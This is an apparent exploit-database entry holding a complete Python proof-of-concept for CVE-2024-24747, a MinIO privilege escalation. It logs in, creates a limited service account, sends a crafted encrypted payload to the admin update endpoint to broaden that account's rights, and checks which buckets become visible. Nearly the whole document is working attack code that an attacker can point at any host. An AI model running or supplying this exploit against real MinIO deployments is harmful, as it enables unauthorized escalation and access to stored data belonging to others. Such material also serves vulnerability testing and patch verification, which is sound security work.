MinIO Privilege Escalation

# Exploit Title: MinIO < 2024-01-31T20-20-33Z -  Privilege Escalation# Date: 2024-04-11# Exploit Author: Jenson Zhao# Vendor Homepage: https://min.io/# Software Link: https://github.com/minio/minio/# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z# Tested on: Windows 10# CVE : CVE-2024-24747# Required before execution: pip install minio,requestsimport argparseimport datetimeimport tracebackimport urllibfrom xml.dom.minidom import parseStringimport requestsimport jsonimport base64from minio.credentials import Credentialsfrom minio.signer import sign_v4_s3class CVE_2024_24747:    new_buckets = []    old_buckets = []    def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):        self.bucket_names = ['pocpublic', 'pocprivate']        self.new_accesskey = 'miniocvepoc'        self.new_secretkey = 'MINIOcvePOC'        self.headers = {          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',          'Content-Type': 'application/json',          'Accept': '*/*'        }        self.accesskey = accesskey        self.secretkey = secretkey        self.verify = verify        if verify:            self.url = "https://" + host + ":" + port            self.console_url = "https://" + host + ":" + console_port        else:            self.url = "http://" + host + ":" + port            self.console_url = "http://" + host + ":" + console_port        self.credits = Credentials(            access_key=self.new_accesskey,            secret_key=self.new_secretkey        )        self.login()        try:            self.create_buckets()            self.create_accesskey()            self.old_buckets = self.console_ls()            self.console_exp()            self.new_buckets = self.console_ls()        except:            traceback.print_stack()        finally:            self.delete_accesskey()            self.delete_buckets()            if len(self.new_buckets) > len(self.old_buckets):                print("There is CVE-2024-24747 problem with the minio!")                print("Before the exploit, the buckets are : " + str(self.old_buckets))                print("After the exploit, the buckets are : " + str(self.new_buckets))            else:                print("There is no CVE-2024-24747 problem with the minio!")    def login(self):        url = self.url + "/api/v1/login"        payload = json.dumps({          "accessKey": self.accesskey,          "secretKey": self.secretkey        })        self.session = requests.session()        if self.verify:            self.session.verify = False        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code        # print(status_code)        if status_code == 204:            status_code = 0        else:            print('Login failed! Please check if the input accesskey and secretkey are correct!')            exit(1)    def create_buckets(self):        url = self.url + "/api/v1/buckets"        for name in self.bucket_names:            payload = json.dumps({                "name": name,                "versioning": False,                "locking": False            })            status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code            # print(status_code)            if status_code == 200:                status_code = 0            else:                print("新建 (New)"+name+" bucket 失败 (fail)！")    def delete_buckets(self):        for name in self.bucket_names:            url = self.url + "/api/v1/buckets/" + name            status_code = self.session.request("DELETE", url, headers=self.headers).status_code            # print(status_code)            if status_code == 204:                status_code = 0            else:                print("删除 (delete)"+name+" bucket 失败 (fail)！")    def create_accesskey(self):        url = self.url + "/api/v1/service-account-credentials"        payload = json.dumps({            "policy": "{              \n    \"Version\":\"2012-10-17\",              \n    \"Statement\":[              \n        {              \n            \"Effect\":\"Allow\",              \n            \"Action\":[              \n                \"s3:*\"              \n            ],              \n            \"Resource\":[              \n                \"arn:aws:s3:::pocpublic\",              \n                \"arn:aws:s3:::pocpublic/*\"              \n            ]              \n        }              \n    ]              \n}",            "accessKey": self.new_accesskey,            "secretKey": self.new_secretkey        })        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code        # print(status_code)        if status_code == 201:            # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)！")            # print(self.new_secretkey)            status_code = 0        else:            print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)！")    def delete_accesskey(self):        url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')        status_code = self.session.request("DELETE", url, headers=self.headers).status_code        # print(status_code)        if status_code == 204:            # print("删除" + self.new_accesskey + " accessKey成功！")            status_code = 0        else:            print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)！")    def headers_gen(self,url,sha256,method):        datetimes = datetime.datetime.utcnow()        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')        urls = urllib.parse.urlparse(url)        headers = {            'X-Amz-Content-Sha256': sha256,            'X-Amz-Date': datetime_str,            'Host': urls.netloc,        }        headers = sign_v4_s3(            method=method,            url=urls,            region='us-east-1',            headers=headers,            credentials=self.credits,            content_sha256=sha256,            date=datetimes,        )        return headers    def console_ls(self):        url = self.console_url + "/"        sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"        headers = self.headers_gen(url,sha256,'GET')        if self.verify:            response = requests.get(url,headers=headers,verify=False)        else:            response = requests.get(url, headers=headers)        DOMTree = parseString(response.text)        collection = DOMTree.documentElement        buckets = collection.getElementsByTagName("Bucket")        bucket_names = []        for bucket in buckets:            bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)        # print('当前可查看的bucket有:\n' + str(bucket_names))        return bucket_names    def console_exp(self):        url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey        sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"        headers = self.headers_gen(url, sha256, 'POST')        hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"        content = bytes.fromhex(hex_string)        if self.verify:            response = requests.post(url,headers=headers,data=content,verify=False)        else:            response = requests.post(url,headers=headers,data=content)        status_code = response.status_code        if status_code == 204:            # print("提升" + self.new_accesskey + " 权限成功！")            status_code = 0        else:            print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)！")if __name__ == '__main__':    logo = """                            ____    ___   ____   _  _           ____   _  _    _____  _  _    _____   ___ __   __  ___        |___ \  / _ \ |___ \ | || |         |___ \ | || |  |___  || || |  |___  | / __|\ \ / / / _ \ _____   __) || | | |  __) || || |_  _____   __) || || |_    / / | || |_    / / | (__  \ V / |  __/|_____| / __/ | |_| | / __/ |__   _||_____| / __/ |__   _|  / /  |__   _|  / /   \___|  \_/   \___|       |_____| \___/ |_____|   |_|         |_____|   |_|   /_/      |_|   /_/                               """    print(logo)    parser = argparse.ArgumentParser()    parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")    parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")    parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")    parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")    parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")    parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")    args = parser.parse_args()    CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)